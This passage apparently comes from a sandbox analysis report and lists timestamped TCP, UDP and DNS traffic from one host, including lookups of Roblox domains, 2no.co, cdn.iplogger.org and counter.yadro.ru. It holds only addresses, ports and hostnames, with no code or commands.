Jul 30, 2024 00:46:23.258368015 CEST	49734	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.258378029 CEST	443	49734	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.423918962 CEST	49735	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:46:23.423969984 CEST	443	49735	172.217.18.4	192.168.2.7
Jul 30, 2024 00:46:23.424038887 CEST	49735	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:46:23.424412966 CEST	49735	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:46:23.424423933 CEST	443	49735	172.217.18.4	192.168.2.7
Jul 30, 2024 00:46:23.595607042 CEST	443	49731	88.212.201.204	192.168.2.7
Jul 30, 2024 00:46:23.595947981 CEST	49731	443	192.168.2.7	88.212.201.204
Jul 30, 2024 00:46:23.595961094 CEST	443	49731	88.212.201.204	192.168.2.7
Jul 30, 2024 00:46:23.597028971 CEST	443	49731	88.212.201.204	192.168.2.7
Jul 30, 2024 00:46:23.597084999 CEST	49731	443	192.168.2.7	88.212.201.204
Jul 30, 2024 00:46:23.597520113 CEST	49731	443	192.168.2.7	88.212.201.204
Jul 30, 2024 00:46:23.597578049 CEST	443	49731	88.212.201.204	192.168.2.7
Jul 30, 2024 00:46:23.597795963 CEST	49731	443	192.168.2.7	88.212.201.204
Jul 30, 2024 00:46:23.597805023 CEST	443	49731	88.212.201.204	192.168.2.7
Jul 30, 2024 00:46:23.642322063 CEST	49731	443	192.168.2.7	88.212.201.204
Jul 30, 2024 00:46:23.735827923 CEST	443	49734	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.736325026 CEST	49734	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.736340046 CEST	443	49734	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.737317085 CEST	443	49734	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.737412930 CEST	49734	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.738061905 CEST	49734	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.738109112 CEST	443	49734	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.738257885 CEST	49734	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.738262892 CEST	443	49734	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.784187078 CEST	49729	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:46:23.785316944 CEST	49734	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.828499079 CEST	443	49729	13.85.23.86	192.168.2.7
Jul 30, 2024 00:46:23.841137886 CEST	443	49731	88.212.201.204	192.168.2.7
Jul 30, 2024 00:46:23.841231108 CEST	443	49731	88.212.201.204	192.168.2.7
Jul 30, 2024 00:46:23.841300011 CEST	49731	443	192.168.2.7	88.212.201.204
Jul 30, 2024 00:46:23.868195057 CEST	49731	443	192.168.2.7	88.212.201.204
Jul 30, 2024 00:46:23.868211985 CEST	443	49731	88.212.201.204	192.168.2.7
Jul 30, 2024 00:46:23.898668051 CEST	443	49734	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.898720980 CEST	443	49734	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.898770094 CEST	443	49734	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.898818016 CEST	49734	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.898829937 CEST	443	49734	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.898844004 CEST	443	49734	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.898869038 CEST	49734	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.898895979 CEST	49734	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.900583029 CEST	49734	443	192.168.2.7	172.67.132.113
Jul 30, 2024 00:46:23.900592089 CEST	443	49734	172.67.132.113	192.168.2.7
Jul 30, 2024 00:46:23.950144053 CEST	49737	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:23.950192928 CEST	443	49737	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:23.950427055 CEST	49737	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:23.953902006 CEST	49737	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:23.953919888 CEST	443	49737	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:25.027040958 CEST	443	49729	13.85.23.86	192.168.2.7
Jul 30, 2024 00:46:25.027067900 CEST	443	49729	13.85.23.86	192.168.2.7
Jul 30, 2024 00:46:25.027076006 CEST	443	49729	13.85.23.86	192.168.2.7
Jul 30, 2024 00:46:25.027127981 CEST	443	49729	13.85.23.86	192.168.2.7
Jul 30, 2024 00:46:25.027143002 CEST	49729	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:46:25.027163029 CEST	443	49729	13.85.23.86	192.168.2.7
Jul 30, 2024 00:46:25.027190924 CEST	443	49729	13.85.23.86	192.168.2.7
Jul 30, 2024 00:46:25.027194977 CEST	49729	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:46:25.027213097 CEST	49729	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:46:25.027241945 CEST	49729	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:46:25.027406931 CEST	443	49729	13.85.23.86	192.168.2.7
Jul 30, 2024 00:46:25.027476072 CEST	49729	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:46:25.027481079 CEST	443	49729	13.85.23.86	192.168.2.7
Jul 30, 2024 00:46:25.027491093 CEST	443	49729	13.85.23.86	192.168.2.7
Jul 30, 2024 00:46:25.027534008 CEST	49729	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:46:25.037436008 CEST	443	49735	172.217.18.4	192.168.2.7
Jul 30, 2024 00:46:25.037827015 CEST	49735	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:46:25.037841082 CEST	443	49735	172.217.18.4	192.168.2.7
Jul 30, 2024 00:46:25.039673090 CEST	443	49735	172.217.18.4	192.168.2.7
Jul 30, 2024 00:46:25.039736032 CEST	49735	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:46:25.045763969 CEST	49735	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:46:25.045965910 CEST	443	49735	172.217.18.4	192.168.2.7
Jul 30, 2024 00:46:25.101309061 CEST	49735	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:46:25.101316929 CEST	443	49735	172.217.18.4	192.168.2.7
Jul 30, 2024 00:46:25.149323940 CEST	49735	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:46:25.301635981 CEST	49741	443	192.168.2.7	128.116.21.3
Jul 30, 2024 00:46:25.301680088 CEST	443	49741	128.116.21.3	192.168.2.7
Jul 30, 2024 00:46:25.301742077 CEST	49741	443	192.168.2.7	128.116.21.3
Jul 30, 2024 00:46:25.302679062 CEST	49741	443	192.168.2.7	128.116.21.3
Jul 30, 2024 00:46:25.302701950 CEST	443	49741	128.116.21.3	192.168.2.7
Jul 30, 2024 00:46:25.694921970 CEST	443	49737	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:25.694996119 CEST	49737	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:25.698424101 CEST	49737	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:25.698440075 CEST	443	49737	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:25.698681116 CEST	443	49737	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:25.742301941 CEST	49737	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:25.744447947 CEST	49737	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:25.788505077 CEST	443	49737	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:26.172239065 CEST	443	49737	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:26.172302008 CEST	443	49737	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:26.172369957 CEST	49737	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:26.174139023 CEST	443	49741	128.116.21.3	192.168.2.7
Jul 30, 2024 00:46:26.174685001 CEST	49737	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:26.174706936 CEST	443	49737	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:26.174719095 CEST	49737	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:26.174725056 CEST	443	49737	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:26.175781012 CEST	49741	443	192.168.2.7	128.116.21.3
Jul 30, 2024 00:46:26.175796986 CEST	443	49741	128.116.21.3	192.168.2.7
Jul 30, 2024 00:46:26.176896095 CEST	443	49741	128.116.21.3	192.168.2.7
Jul 30, 2024 00:46:26.176965952 CEST	49741	443	192.168.2.7	128.116.21.3
Jul 30, 2024 00:46:26.178961992 CEST	49741	443	192.168.2.7	128.116.21.3
Jul 30, 2024 00:46:26.179100037 CEST	443	49741	128.116.21.3	192.168.2.7
Jul 30, 2024 00:46:26.179128885 CEST	49741	443	192.168.2.7	128.116.21.3
Jul 30, 2024 00:46:26.179145098 CEST	49741	443	192.168.2.7	128.116.21.3
Jul 30, 2024 00:46:26.298437119 CEST	49729	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:46:26.298487902 CEST	443	49729	13.85.23.86	192.168.2.7
Jul 30, 2024 00:46:26.298500061 CEST	49729	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:46:26.298511982 CEST	443	49729	13.85.23.86	192.168.2.7
Jul 30, 2024 00:46:26.436332941 CEST	49742	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:26.436374903 CEST	443	49742	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:26.436455011 CEST	49742	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:26.436769962 CEST	49742	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:26.436784029 CEST	443	49742	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:27.208312988 CEST	443	49742	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:27.208389997 CEST	49742	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:27.209769964 CEST	49742	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:27.209781885 CEST	443	49742	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:27.210032940 CEST	443	49742	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:27.213387966 CEST	49742	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:27.260509014 CEST	443	49742	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:27.500205040 CEST	443	49742	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:27.500292063 CEST	443	49742	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:27.500834942 CEST	49742	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:27.501674891 CEST	49742	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:27.501708031 CEST	443	49742	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:27.501859903 CEST	49742	443	192.168.2.7	184.28.90.27
Jul 30, 2024 00:46:27.501868963 CEST	443	49742	184.28.90.27	192.168.2.7
Jul 30, 2024 00:46:31.686671019 CEST	49677	443	192.168.2.7	20.50.201.200
Jul 30, 2024 00:46:34.002515078 CEST	443	49735	172.217.18.4	192.168.2.7
Jul 30, 2024 00:46:34.002670050 CEST	443	49735	172.217.18.4	192.168.2.7
Jul 30, 2024 00:46:34.002861977 CEST	49735	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:46:35.704637051 CEST	49735	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:46:35.704663992 CEST	443	49735	172.217.18.4	192.168.2.7
Jul 30, 2024 00:47:02.995637894 CEST	49743	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:47:02.995676994 CEST	443	49743	13.85.23.86	192.168.2.7
Jul 30, 2024 00:47:02.995760918 CEST	49743	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:47:02.996184111 CEST	49743	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:47:02.996200085 CEST	443	49743	13.85.23.86	192.168.2.7
Jul 30, 2024 00:47:03.747416973 CEST	443	49743	13.85.23.86	192.168.2.7
Jul 30, 2024 00:47:03.747585058 CEST	49743	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:47:03.752221107 CEST	49743	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:47:03.752233982 CEST	443	49743	13.85.23.86	192.168.2.7
Jul 30, 2024 00:47:03.752500057 CEST	443	49743	13.85.23.86	192.168.2.7
Jul 30, 2024 00:47:03.760632992 CEST	49743	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:47:03.804497004 CEST	443	49743	13.85.23.86	192.168.2.7
Jul 30, 2024 00:47:04.039357901 CEST	443	49743	13.85.23.86	192.168.2.7
Jul 30, 2024 00:47:04.039383888 CEST	443	49743	13.85.23.86	192.168.2.7
Jul 30, 2024 00:47:04.039400101 CEST	443	49743	13.85.23.86	192.168.2.7
Jul 30, 2024 00:47:04.039458036 CEST	49743	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:47:04.039475918 CEST	443	49743	13.85.23.86	192.168.2.7
Jul 30, 2024 00:47:04.039515018 CEST	49743	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:47:04.044183969 CEST	443	49743	13.85.23.86	192.168.2.7
Jul 30, 2024 00:47:04.044228077 CEST	443	49743	13.85.23.86	192.168.2.7
Jul 30, 2024 00:47:04.044258118 CEST	49743	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:47:04.044270039 CEST	443	49743	13.85.23.86	192.168.2.7
Jul 30, 2024 00:47:04.044312000 CEST	443	49743	13.85.23.86	192.168.2.7
Jul 30, 2024 00:47:04.046277046 CEST	49743	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:47:04.046277046 CEST	49743	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:47:04.046277046 CEST	49743	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:47:04.046277046 CEST	49743	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:47:04.265235901 CEST	49743	443	192.168.2.7	13.85.23.86
Jul 30, 2024 00:47:04.265264034 CEST	443	49743	13.85.23.86	192.168.2.7
Jul 30, 2024 00:47:05.653903008 CEST	443	49732	104.98.116.138	192.168.2.7
Jul 30, 2024 00:47:05.654036999 CEST	49732	443	192.168.2.7	104.98.116.138
Jul 30, 2024 00:47:23.471398115 CEST	49745	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:47:23.471468925 CEST	443	49745	172.217.18.4	192.168.2.7
Jul 30, 2024 00:47:23.471568108 CEST	49745	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:47:23.471795082 CEST	49745	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:47:23.471817017 CEST	443	49745	172.217.18.4	192.168.2.7
Jul 30, 2024 00:47:24.147990942 CEST	443	49745	172.217.18.4	192.168.2.7
Jul 30, 2024 00:47:24.151308060 CEST	49745	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:47:24.151325941 CEST	443	49745	172.217.18.4	192.168.2.7
Jul 30, 2024 00:47:24.151664019 CEST	443	49745	172.217.18.4	192.168.2.7
Jul 30, 2024 00:47:24.151913881 CEST	49745	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:47:24.151973009 CEST	443	49745	172.217.18.4	192.168.2.7
Jul 30, 2024 00:47:24.204125881 CEST	49745	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:47:34.174761057 CEST	443	49745	172.217.18.4	192.168.2.7
Jul 30, 2024 00:47:34.174827099 CEST	443	49745	172.217.18.4	192.168.2.7
Jul 30, 2024 00:47:34.174896955 CEST	49745	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:47:35.732631922 CEST	49745	443	192.168.2.7	172.217.18.4
Jul 30, 2024 00:47:35.732692957 CEST	443	49745	172.217.18.4	192.168.2.7

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 30, 2024 00:46:06.825505018 CEST	64242	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:06.844732046 CEST	53	64242	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:07.899291039 CEST	59747	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:07.917977095 CEST	53	59747	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:14.460917950 CEST	123	123	192.168.2.7	20.101.57.9
Jul 30, 2024 00:46:14.645025969 CEST	123	123	20.101.57.9	192.168.2.7
Jul 30, 2024 00:46:18.952945948 CEST	53	64515	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:19.029504061 CEST	63211	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:19.029632092 CEST	60970	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:19.047980070 CEST	53	56807	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:19.049940109 CEST	53	63211	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:19.051006079 CEST	53	60970	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:20.089903116 CEST	53	54982	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:20.135720015 CEST	60265	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:20.135864973 CEST	59684	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:20.136509895 CEST	60768	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:20.136599064 CEST	60861	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:20.154234886 CEST	53	60768	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:20.154248953 CEST	53	60861	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:20.155325890 CEST	53	60265	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:20.156322956 CEST	53	59684	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:21.002269030 CEST	52295	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:21.002727985 CEST	64923	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:21.020036936 CEST	53	64923	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:21.020292044 CEST	53	52295	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:22.623306036 CEST	51828	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:22.623419046 CEST	50486	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:22.640727043 CEST	53	51828	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:22.641165018 CEST	53	50486	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:23.236690998 CEST	64209	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:23.236890078 CEST	56887	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:23.256771088 CEST	53	64209	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:23.256983995 CEST	53	56887	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:23.405500889 CEST	59559	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:23.405669928 CEST	59005	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:23.422918081 CEST	53	59559	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:23.422998905 CEST	53	59005	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:25.010940075 CEST	61785	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:25.300046921 CEST	53	61785	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:37.177165031 CEST	53	64130	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:38.813288927 CEST	65222	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:38.831028938 CEST	53	65222	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:52.219273090 CEST	61084	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:46:52.237746954 CEST	53	61084	1.1.1.1	192.168.2.7
Jul 30, 2024 00:46:56.112193108 CEST	53	53496	1.1.1.1	192.168.2.7
Jul 30, 2024 00:47:08.694204092 CEST	138	138	192.168.2.7	192.168.2.255
Jul 30, 2024 00:47:11.204278946 CEST	61245	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:47:11.222673893 CEST	53	61245	1.1.1.1	192.168.2.7
Jul 30, 2024 00:47:18.820261955 CEST	53	61902	1.1.1.1	192.168.2.7
Jul 30, 2024 00:47:18.987771034 CEST	53	64045	1.1.1.1	192.168.2.7
Jul 30, 2024 00:47:31.904818058 CEST	59282	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:47:32.128716946 CEST	53	59282	1.1.1.1	192.168.2.7
Jul 30, 2024 00:47:47.739026070 CEST	53	52826	1.1.1.1	192.168.2.7
Jul 30, 2024 00:48:02.844325066 CEST	49349	53	192.168.2.7	1.1.1.1
Jul 30, 2024 00:48:02.861970901 CEST	53	49349	1.1.1.1	192.168.2.7

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jul 30, 2024 00:46:06.825505018 CEST	192.168.2.7	1.1.1.1	0xb4c1	Standard query (0)	ecsv2.roblox.com	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:07.899291039 CEST	192.168.2.7	1.1.1.1	0x3244	Standard query (0)	clientsettingscdn.roblox.com	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:19.029504061 CEST	192.168.2.7	1.1.1.1	0x3895	Standard query (0)	2no.co	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:19.029632092 CEST	192.168.2.7	1.1.1.1	0x32b9	Standard query (0)	2no.co	65	IN (0x0001)	false
Jul 30, 2024 00:46:20.135720015 CEST	192.168.2.7	1.1.1.1	0x4c85	Standard query (0)	cdn.iplogger.org	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:20.135864973 CEST	192.168.2.7	1.1.1.1	0x290c	Standard query (0)	cdn.iplogger.org	65	IN (0x0001)	false
Jul 30, 2024 00:46:20.136509895 CEST	192.168.2.7	1.1.1.1	0xf2e	Standard query (0)	counter.yadro.ru	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:20.136599064 CEST	192.168.2.7	1.1.1.1	0xc2d9	Standard query (0)	counter.yadro.ru	65	IN (0x0001)	false
Jul 30, 2024 00:46:21.002269030 CEST	192.168.2.7	1.1.1.1	0x3dfa	Standard query (0)	a.nel.cloudflare.com	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:21.002727985 CEST	192.168.2.7	1.1.1.1	0x20ce	Standard query (0)	a.nel.cloudflare.com	65	IN (0x0001)	false
Jul 30, 2024 00:46:22.623306036 CEST	192.168.2.7	1.1.1.1	0xd649	Standard query (0)	counter.yadro.ru	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:22.623419046 CEST	192.168.2.7	1.1.1.1	0xd9e6	Standard query (0)	counter.yadro.ru	65	IN (0x0001)	false
Jul 30, 2024 00:46:23.236690998 CEST	192.168.2.7	1.1.1.1	0x588b	Standard query (0)	cdn.iplogger.org	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:23.236890078 CEST	192.168.2.7	1.1.1.1	0x19f5	Standard query (0)	cdn.iplogger.org	65	IN (0x0001)	false
Jul 30, 2024 00:46:23.405500889 CEST	192.168.2.7	1.1.1.1	0x20dd	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:23.405669928 CEST	192.168.2.7	1.1.1.1	0x794d	Standard query (0)	www.google.com	65	IN (0x0001)	false
Jul 30, 2024 00:46:25.010940075 CEST	192.168.2.7	1.1.1.1	0x46a7	Standard query (0)	client-telemetry.roblox.com	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:38.813288927 CEST	192.168.2.7	1.1.1.1	0xac89	Standard query (0)	client-telemetry.roblox.com	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:52.219273090 CEST	192.168.2.7	1.1.1.1	0xc8d2	Standard query (0)	client-telemetry.roblox.com	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:47:11.204278946 CEST	192.168.2.7	1.1.1.1	0x299f	Standard query (0)	client-telemetry.roblox.com	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:47:31.904818058 CEST	192.168.2.7	1.1.1.1	0xc5af	Standard query (0)	client-telemetry.roblox.com	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:48:02.844325066 CEST	192.168.2.7	1.1.1.1	0x8db6	Standard query (0)	client-telemetry.roblox.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jul 30, 2024 00:46:06.844732046 CEST	1.1.1.1	192.168.2.7	0xb4c1	No error (0)	ecsv2.roblox.com	titanium.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:46:06.844732046 CEST	1.1.1.1	192.168.2.7	0xb4c1	No error (0)	titanium.roblox.com	edge-term4.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:46:06.844732046 CEST	1.1.1.1	192.168.2.7	0xb4c1	No error (0)	edge-term4.roblox.com	edge-term4-ams2.roblox.com		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:46:06.844732046 CEST	1.1.1.1	192.168.2.7	0xb4c1	No error (0)	edge-term4-ams2.roblox.com		128.116.21.3	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:07.917977095 CEST	1.1.1.1	192.168.2.7	0x3244	No error (0)	clientsettingscdn.roblox.com	d2v57ias1m20gl.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Jul 30, 2024 00:46:07.917977095 CEST	1.1.1.1	192.168.2.7	0x3244	No error (0)	d2v57ias1m20gl.cloudfront.net		18.239.18.53	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:07.917977095 CEST	1.1.1.1	192.168.2.7	0x3244	No error (0)	d2v57ias1m20gl.cloudfront.net		18.239.18.127	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:07.917977095 CEST	1.1.1.1	192.168.2.7	0x3244	No error (0)	d2v57ias1m20gl.cloudfront.net		18.239.18.85	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:07.917977095 CEST	1.1.1.1	192.168.2.7	0x3244	No error (0)	d2v57ias1m20gl.cloudfront.net		18.239.18.114	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:19.049940109 CEST	1.1.1.1	192.168.2.7	0x3895	No error (0)	2no.co		172.67.149.76	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:19.049940109 CEST	1.1.1.1	192.168.2.7	0x3895	No error (0)	2no.co		104.21.79.229	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:19.051006079 CEST	1.1.1.1	192.168.2.7	0x32b9	No error (0)	2no.co			65	IN (0x0001)	false
Jul 30, 2024 00:46:20.154234886 CEST	1.1.1.1	192.168.2.7	0xf2e	No error (0)	counter.yadro.ru		88.212.201.198	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:20.154234886 CEST	1.1.1.1	192.168.2.7	0xf2e	No error (0)	counter.yadro.ru		88.212.202.52	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:20.154234886 CEST	1.1.1.1	192.168.2.7	0xf2e	No error (0)	counter.yadro.ru		88.212.201.204	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:20.155325890 CEST	1.1.1.1	192.168.2.7	0x4c85	No error (0)	cdn.iplogger.org		172.67.132.113	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:20.155325890 CEST	1.1.1.1	192.168.2.7	0x4c85	No error (0)	cdn.iplogger.org		104.21.4.208	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:20.156322956 CEST	1.1.1.1	192.168.2.7	0x290c	No error (0)	cdn.iplogger.org			65	IN (0x0001)	false
Jul 30, 2024 00:46:21.020292044 CEST	1.1.1.1	192.168.2.7	0x3dfa	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:22.640727043 CEST	1.1.1.1	192.168.2.7	0xd649	No error (0)	counter.yadro.ru		88.212.201.204	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:22.640727043 CEST	1.1.1.1	192.168.2.7	0xd649	No error (0)	counter.yadro.ru		88.212.202.52	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:22.640727043 CEST	1.1.1.1	192.168.2.7	0xd649	No error (0)	counter.yadro.ru		88.212.201.198	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:23.256771088 CEST	1.1.1.1	192.168.2.7	0x588b	No error (0)	cdn.iplogger.org		172.67.132.113	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:23.256771088 CEST	1.1.1.1	192.168.2.7	0x588b	No error (0)	cdn.iplogger.org		104.21.4.208	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:23.256983995 CEST	1.1.1.1	192.168.2.7	0x19f5	No error (0)	cdn.iplogger.org			65	IN (0x0001)	false
Jul 30, 2024 00:46:23.422918081 CEST	1.1.1.1	192.168.2.7	0x20dd	No error (0)	www.google.com		172.217.18.4	A (IP address)	IN (0x0001)	false
Jul 30, 2024 00:46:23.422998905 CEST	1.1.1.1	192.168.2.7	0x794d	No error (0)	www.google.com			65	IN (0x0001)	false
